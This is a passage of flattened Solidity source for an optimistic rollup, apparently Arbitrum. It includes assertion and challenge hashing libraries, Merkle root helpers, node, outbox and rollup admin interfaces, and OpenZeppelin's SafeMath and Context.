bytes32 machineHash;
uint256 confirmPeriodBlocks;
uint256 extraChallengeTimeBlocks;
uint256 avmGasSpeedLimitPerBlock;
uint256 baseStake;
address stakeToken;
address owner;
address sequencer;
uint256 sequencerDelayBlocks;
uint256 sequencerDelaySeconds;
bytes extraConfig;
}
struct ExecutionState {
uint256 gasUsed;
bytes32 machineHash;
uint256 inboxCount;
uint256 sendCount;
uint256 logCount;
bytes32 sendAcc;
bytes32 logAcc;
uint256 proposedBlock;
uint256 inboxMaxCount;
}
function stateHash(ExecutionState memory execState) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
execState.gasUsed,
execState.machineHash,
execState.inboxCount,
execState.sendCount,
execState.logCount,
execState.sendAcc,
execState.logAcc,
execState.proposedBlock,
execState.inboxMaxCount
)
);
}
struct Assertion {
ExecutionState beforeState;
ExecutionState afterState;
}
function decodeExecutionState(
bytes32[3] memory bytes32Fields,
uint256[4] memory intFields,
uint256 proposedBlock,
uint256 inboxMaxCount
) internal pure returns (ExecutionState memory) {
return
ExecutionState(
intFields[0],
bytes32Fields[0],
intFields[1],
intFields[2],
intFields[3],
bytes32Fields[1],
bytes32Fields[2],
proposedBlock,
inboxMaxCount
);
}
function decodeAssertion(
bytes32[3][2] memory bytes32Fields,
uint256[4][2] memory intFields,
uint256 beforeProposedBlock,
uint256 beforeInboxMaxCount,
uint256 inboxMaxCount
) internal view returns (Assertion memory) {
return
Assertion(
decodeExecutionState(
bytes32Fields[0],
intFields[0],
beforeProposedBlock,
beforeInboxMaxCount
),
decodeExecutionState(bytes32Fields[1], intFields[1], block.number, inboxMaxCount)
);
}
function executionStateChallengeHash(ExecutionState memory state)
internal
pure
returns (bytes32)
{
return
ChallengeLib.assertionHash(
state.gasUsed,
ChallengeLib.assertionRestHash(
state.inboxCount,
state.machineHash,
state.sendAcc,
state.sendCount,
state.logAcc,
state.logCount
)
);
}
function executionHash(Assertion memory assertion) internal pure returns (bytes32) {
return
ChallengeLib.bisectionChunkHash(
assertion.beforeState.gasUsed,
assertion.afterState.gasUsed - assertion.beforeState.gasUsed,
RollupLib.executionStateChallengeHash(assertion.beforeState),
RollupLib.executionStateChallengeHash(assertion.afterState)
);
}
function assertionGasUsed(RollupLib.Assertion memory assertion)
internal
pure
returns (uint256)
{
return assertion.afterState.gasUsed.sub(assertion.beforeState.gasUsed);
}
function challengeRoot(
Assertion memory assertion,
bytes32 assertionExecHash,
uint256 blockProposed
) internal pure returns (bytes32) {
return challengeRootHash(assertionExecHash, blockProposed, assertion.afterState.inboxCount);
}
function challengeRootHash(
bytes32 execution,
uint256 proposedTime,
uint256 maxMessageCount
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(execution, proposedTime, maxMessageCount));
}
function confirmHash(Assertion memory assertion) internal pure returns (bytes32) {
return
confirmHash(
assertion.beforeState.sendAcc,
assertion.afterState.sendAcc,
assertion.afterState.logAcc,
assertion.afterState.sendCount,
assertion.afterState.logCount
);
}
function confirmHash(
bytes32 beforeSendAcc,
bytes32 afterSendAcc,
bytes32 afterLogAcc,
uint256 afterSendCount,
uint256 afterLogCount
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
beforeSendAcc,
afterSendAcc,
afterSendCount,
afterLogAcc,
afterLogCount
)
);
}
function feedAccumulator(
bytes memory messageData,
uint256[] memory messageLengths,
bytes32 beforeAcc
) internal pure returns (bytes32) {
uint256 offset = 0;
uint256 messageCount = messageLengths.length;
uint256 dataLength = messageData.length;
bytes32 messageAcc = beforeAcc;
for (uint256 i = 0; i < messageCount; i++) {
uint256 messageLength = messageLengths[i];
require(offset + messageLength <= dataLength, "DATA_OVERRUN");
bytes32 messageHash;
assembly {
messageHash := keccak256(add(messageData, add(offset, 32)), messageLength)
}
messageAcc = keccak256(abi.encodePacked(messageAcc, messageHash));
offset += messageLength;
}
require(offset == dataLength, "DATA_LENGTH");
return messageAcc;
}
function nodeHash(
bool hasSibling,
bytes32 lastHash,
bytes32 assertionExecHash,
bytes32 inboxAcc
) internal pure returns (bytes32) {
uint8 hasSiblingInt = hasSibling ? 1 : 0;
return keccak256(abi.encodePacked(hasSiblingInt, lastHash, assertionExecHash, inboxAcc));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface INode {
function initialize(
address _rollup,
bytes32 _stateHash,
bytes32 _challengeHash,
bytes32 _confirmData,
uint256 _prev,
uint256 _deadlineBlock
) external;
function destroy() external;
function addStaker(address staker) external returns (uint256);
function removeStaker(address staker) external;
function childCreated(uint256) external;
function newChildConfirmDeadline(uint256 deadline) external;
function stateHash() external view returns (bytes32);
function challengeHash() external view returns (bytes32);
function confirmData() external view returns (bytes32);
function prev() external view returns (uint256);
function deadlineBlock() external view returns (uint256);
function noChildConfirmedBeforeBlock() external view returns (uint256);
function stakerCount() external view returns (uint256);
function stakers(address staker) external view returns (bool);
function firstChildBlock() external view returns (uint256);
function latestChildNumber() external view returns (uint256);
function requirePastDeadline() external view;
function requirePastChildConfirmDeadline() external view;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface INodeFactory {
function createNode(
bytes32 _stateHash,
bytes32 _challengeHash,
bytes32 _confirmData,
uint256 _prev,
uint256 _deadlineBlock
) external returns (address);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
import "../arch/IOneStepProof.sol";
interface IChallenge {
function initializeChallenge(
IOneStepProof[] calldata _executors,
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external;
function currentResponderTimeLeft() external view returns (uint256);
function lastMoveBlock() external view returns (uint256);
function timeout() external;
function asserter() external view returns (address);
function challenger() external view returns (address);
function clearChallenge() external;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
interface IChallengeFactory {
function createChallenge(
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external returns (address);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IOutbox {
event OutboxEntryCreated(
uint256 indexed batchNum,
uint256 outboxEntryIndex,
bytes32 outputRoot,
uint256 numInBatch
);
event OutBoxTransactionExecuted(
address indexed destAddr,
address indexed l2Sender,
uint256 indexed outboxEntryIndex,
uint256 transactionIndex
);
function l2ToL1Sender() external view returns (address);
function l2ToL1Block() external view returns (uint256);
function l2ToL1EthBlock() external view returns (uint256);
function l2ToL1Timestamp() external view returns (uint256);
function l2ToL1BatchNum() external view returns (uint256);
function l2ToL1OutputId() external view returns (bytes32);
function processOutgoingMessages(bytes calldata sendsData, uint256[] calldata sendLengths)
external;
function outboxEntryExists(uint256 batchNum) external view returns (bool);
function executeTransaction(
uint256 outboxIndex,
bytes32[] calldata proof,
uint256 index,
address l2Sender,
address destAddr,
uint256 l2Block,
uint256 l1Block,
uint256 l2Timestamp,
uint256 amount,
bytes calldata calldataForL1) external;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library ProxyUtil {
function getProxyAdmin() internal view returns (address admin) {
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0/contracts/proxy/TransparentUpgradeableProxy.sol#L48
// Storage slot with the admin of the proxy contract.
// This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
bytes32 slot = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
assembly {
admin := sload(slot)
}
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../INode.sol";
import "../../bridge/interfaces/IOutbox.sol";
interface IRollupUser {
function initialize(address _stakeToken) external;
function completeChallenge(address winningStaker, address losingStaker) external;
function returnOldDeposit(address stakerAddress) external;
function requireUnresolved(uint256 nodeNum) external view;
function requireUnresolvedExists() external view;
function countStakedZombies(INode node) external view returns (uint256);
}
interface IRollupAdmin {
event OwnerFunctionCalled(uint256 indexed id);
/**
* @notice Add a contract authorized to put messages into this rollup's inbox
* @param _outbox Outbox contract to add
*/
function setOutbox(IOutbox _outbox) external;
/**
* @notice Disable an old outbox from interacting with the bridge
* @param _outbox Outbox contract to remove
*/
function removeOldOutbox(address _outbox) external;
/**
* @notice Enable or disable an inbox contract
* @param _inbox Inbox contract to add or remove
* @param _enabled New status of inbox
*/
function setInbox(address _inbox, bool _enabled) external;
/**
* @notice Pause interaction with the rollup contract
*/
function pause() external;
/**
* @notice Resume interaction with the rollup contract
*/
function resume() external;
/**
* @notice Set the addresses of rollup logic facets called
* @param newAdminFacet address of logic that owner of rollup calls
* @param newUserFacet ddress of logic that user of rollup calls
*/
function setFacets(address newAdminFacet, address newUserFacet) external;
/**
* @notice Set the addresses of the validator whitelist
* @dev It is expected that both arrays are same length, and validator at
* position i corresponds to the value at position i
* @param _validator addresses to set in the whitelist
* @param _val value to set in the whitelist for corresponding address
*/
function setValidator(address[] memory _validator, bool[] memory _val) external;
/**
* @notice Set a new owner address for the rollup
* @param newOwner address of new rollup owner
*/
function setOwner(address newOwner) external;
/**
* @notice Set minimum assertion period for the rollup
* @param newPeriod new minimum period for assertions
*/
function setMinimumAssertionPeriod(uint256 newPeriod) external;
/**
* @notice Set number of blocks until a node is considered confirmed
* @param newConfirmPeriod new number of blocks until a node is confirmed
*/
function setConfirmPeriodBlocks(uint256 newConfirmPeriod) external;
/**
* @notice Set number of extra blocks after a challenge
* @param newExtraTimeBlocks new number of blocks
*/
function setExtraChallengeTimeBlocks(uint256 newExtraTimeBlocks) external;
/**
* @notice Set speed limit per block
* @param newAvmGasSpeedLimitPerBlock maximum avmgas to be used per block
*/
function setAvmGasSpeedLimitPerBlock(uint256 newAvmGasSpeedLimitPerBlock) external;
/**
* @notice Set base stake required for an assertion
* @param newBaseStake maximum avmgas to be used per block
*/
function setBaseStake(uint256 newBaseStake) external;
/**
* @notice Set the token used for stake, where address(0) == eth
* @dev Before changing the base stake token, you might need to change the
* implementation of the Rollup User facet!
* @param newStakeToken address of token used for staking
*/
function setStakeToken(address newStakeToken) external;
/**
* @notice Set max delay for sequencer inbox
* @param newSequencerInboxMaxDelayBlocks max number of blocks
* @param newSequencerInboxMaxDelaySeconds max number of seconds
*/
function setSequencerInboxMaxDelay(
uint256 newSequencerInboxMaxDelayBlocks,
uint256 newSequencerInboxMaxDelaySeconds
) external;
/**
* @notice Set execution bisection degree
* @param newChallengeExecutionBisectionDegree execution bisection degree
*/
function setChallengeExecutionBisectionDegree(uint256 newChallengeExecutionBisectionDegree)
external;
/**
* @notice Updates a whitelist address for its consumers
* @dev setting the newWhitelist to address(0) disables it for consumers
* @param whitelist old whitelist to be deprecated
* @param newWhitelist new whitelist to be used
* @param targets whitelist consumers to be triggered
*/
function updateWhitelistConsumers(
address whitelist,
address newWhitelist,
address[] memory targets
) external;
/**
* @notice Updates a whitelist's entries
* @dev user at position i will be assigned value i
* @param whitelist whitelist to be updated
* @param user users to be updated in the whitelist
* @param val if user is or not allowed in the whitelist
*/
function setWhitelistEntries(
address whitelist,
address[] memory user,
bool[] memory val
) external;
/**
* @notice Updates whether an address is a sequencer at the sequencer inbox
* @param newSequencer address to be modified
* @param isSequencer whether this address should be authorized as a sequencer
*/
function setIsSequencer(address newSequencer, bool isSequencer) external;
/**
* @notice Upgrades the implementation of a beacon controlled by the rollup
* @param beacon address of beacon to be upgraded
* @param newImplementation new address of implementation
*/
function upgradeBeacon(address beacon, address newImplementation) external;
function forceResolveChallenge(address[] memory stackerA, address[] memory stackerB) external;
function forceRefundStaker(address[] memory stacker) external;
function forceCreateNode(
bytes32 expectedNodeHash,
bytes32[3][2] calldata assertionBytes32Fields,
uint256[4][2] calldata assertionIntFields,
bytes calldata sequencerBatchProof,
uint256 beforeProposedBlock,
uint256 beforeInboxMaxCount,
uint256 prevNode
) external;
function forceConfirmNode(
uint256 nodeNum,
bytes32 beforeSendAcc,
bytes calldata sendsData,
uint256[] calldata sendLengths,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IMessageProvider {
event InboxMessageDelivered(uint256 indexed messageNum, bytes data);
event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./INode.sol";
interface IRollupCore {
function _stakerMap(address stakerAddress)
external
view
returns (
uint256,
uint256,
uint256,
address,
bool
);
event RollupCreated(bytes32 machineHash);
event NodeCreated(
uint256 indexed nodeNum,
bytes32 indexed parentNodeHash,
bytes32 nodeHash,
bytes32 executionHash,
uint256 inboxMaxCount,
uint256 afterInboxBatchEndCount,
bytes32 afterInboxBatchAcc,
bytes32[3][2] assertionBytes32Fields,
uint256[4][2] assertionIntFields
);
event NodeConfirmed(
uint256 indexed nodeNum,
bytes32 afterSendAcc,
uint256 afterSendCount,
bytes32 afterLogAcc,
uint256 afterLogCount
);
event NodeRejected(uint256 indexed nodeNum);
event RollupChallengeStarted(
address indexed challengeContract,
address asserter,
address challenger,
uint256 challengedNode
);
event UserStakeUpdated(address indexed user, uint256 initialBalance, uint256 finalBalance);
event UserWithdrawableFundsUpdated(
address indexed user,
uint256 initialBalance,
uint256 finalBalance
);
function getNode(uint256 nodeNum) external view returns (INode);
/**
* @notice Get the address of the staker at the given index
* @param stakerNum Index of the staker
* @return Address of the staker
*/
function getStakerAddress(uint256 stakerNum) external view returns (address);
/**
* @notice Check whether the given staker is staked
* @param staker Staker address to check
* @return True or False for whether the staker was staked
*/
function isStaked(address staker) external view returns (bool);
/**
* @notice Get the latest staked node of the given staker
* @param staker Staker address to lookup
* @return Latest node staked of the staker
*/
function latestStakedNode(address staker) external view returns (uint256);
/**
* @notice Get the current challenge of the given staker
* @param staker Staker address to lookup
* @return Current challenge of the staker
*/
function currentChallenge(address staker) external view returns (address);
/**
* @notice Get the amount staked of the given staker
* @param staker Staker address to lookup
* @return Amount staked of the staker
*/
function amountStaked(address staker) external view returns (uint256);
/**
* @notice Get the original staker address of the zombie at the given index
* @param zombieNum Index of the zombie to lookup
* @return Original staker address of the zombie
*/
function zombieAddress(uint256 zombieNum) external view returns (address);
/**
* @notice Get Latest node that the given zombie at the given index is staked on
* @param zombieNum Index of the zombie to lookup
* @return Latest node that the given zombie is staked on
*/
function zombieLatestStakedNode(uint256 zombieNum) external view returns (uint256);
/// @return Current number of un-removed zombies
function zombieCount() external view returns (uint256);
function isZombie(address staker) external view returns (bool);
/**
* @notice Get the amount of funds withdrawable by the given address
* @param owner Address to check the funds of
* @return Amount of funds withdrawable by owner
*/
function withdrawableFunds(address owner) external view returns (uint256);
/**
* @return Index of the first unresolved node
* @dev If all nodes have been resolved, this will be latestNodeCreated + 1
*/
function firstUnresolvedNode() external view returns (uint256);
/// @return Index of the latest confirmed node
function latestConfirmed() external view returns (uint256);
/// @return Index of the latest rollup node created
function latestNodeCreated() external view returns (uint256);
/// @return Ethereum block that the most recent stake was created
function lastStakeBlock() external view returns (uint256);
/// @return Number of active stakers currently staked
function stakerCount() external view returns (uint256);
/// @return Node hash as of this node number
function getNodeHash(uint256 index) external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../libraries/MerkleLib.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
library ChallengeLib {
using SafeMath for uint256;
function firstSegmentSize(uint256 totalCount, uint256 bisectionCount)
internal
pure
returns (uint256)
{
return totalCount / bisectionCount + (totalCount % bisectionCount);
}
function otherSegmentSize(uint256 totalCount, uint256 bisectionCount)
internal
pure
returns (uint256)
{
return totalCount / bisectionCount;
}
function bisectionChunkHash(
uint256 _segmentStart,
uint256 _segmentLength,
bytes32 _startHash,
bytes32 _endHash
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_segmentStart, _segmentLength, _startHash, _endHash));
}
function assertionHash(uint256 _avmGasUsed, bytes32 _restHash) internal pure returns (bytes32) {
// Note: make sure this doesn't return Challenge.UNREACHABLE_ASSERTION (currently 0)
return keccak256(abi.encodePacked(_avmGasUsed, _restHash));
}
function assertionRestHash(
uint256 _totalMessagesRead,
bytes32 _machineState,
bytes32 _sendAcc,
uint256 _sendCount,
bytes32 _logAcc,
uint256 _logCount
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
_totalMessagesRead,
_machineState,
_sendAcc,
_sendCount,
_logAcc,
_logCount
)
);
}
function updatedBisectionRoot(
bytes32[] memory _chainHashes,
uint256 _challengedSegmentStart,
uint256 _challengedSegmentLength
) internal pure returns (bytes32) {
uint256 bisectionCount = _chainHashes.length - 1;
bytes32[] memory hashes = new bytes32[](bisectionCount);
uint256 chunkSize = ChallengeLib.firstSegmentSize(_challengedSegmentLength, bisectionCount);
uint256 segmentStart = _challengedSegmentStart;
hashes[0] = ChallengeLib.bisectionChunkHash(
segmentStart,
chunkSize,
_chainHashes[0],
_chainHashes[1]
);
segmentStart = segmentStart.add(chunkSize);
chunkSize = ChallengeLib.otherSegmentSize(_challengedSegmentLength, bisectionCount);
for (uint256 i = 1; i < bisectionCount; i++) {
hashes[i] = ChallengeLib.bisectionChunkHash(
segmentStart,
chunkSize,
_chainHashes[i],
_chainHashes[i + 1]
);
segmentStart = segmentStart.add(chunkSize);
}
return MerkleLib.generateRoot(hashes);
}
function verifySegmentProof(
bytes32 challengeState,
bytes32 item,
bytes32[] calldata _merkleNodes,
uint256 _merkleRoute
) internal pure returns (bool) {
return challengeState == MerkleLib.calculateRoot(_merkleNodes, _merkleRoute, item);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library MerkleLib {
function generateRoot(bytes32[] memory _hashes) internal pure returns (bytes32) {
bytes32[] memory prevLayer = _hashes;
while (prevLayer.length > 1) {
bytes32[] memory nextLayer = new bytes32[]((prevLayer.length + 1) / 2);
for (uint256 i = 0; i < nextLayer.length; i++) {
if (2 * i + 1 < prevLayer.length) {
nextLayer[i] = keccak256(
abi.encodePacked(prevLayer[2 * i], prevLayer[2 * i + 1])
);
} else {
nextLayer[i] = prevLayer[2 * i];
}
}
prevLayer = nextLayer;
}
return prevLayer[0];
}
function calculateRoot(
bytes32[] memory nodes,
uint256 route,
bytes32 item
) internal pure returns (bytes32) {
uint256 proofItems = nodes.length;
require(proofItems <= 256);
bytes32 h = item;
for (uint256 i = 0; i < proofItems; i++) {
if (route % 2 == 0) {
h = keccak256(abi.encodePacked(nodes[i], h));
} else {
h = keccak256(abi.encodePacked(h, nodes[i]));
}
route /= 2;
}
return h;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
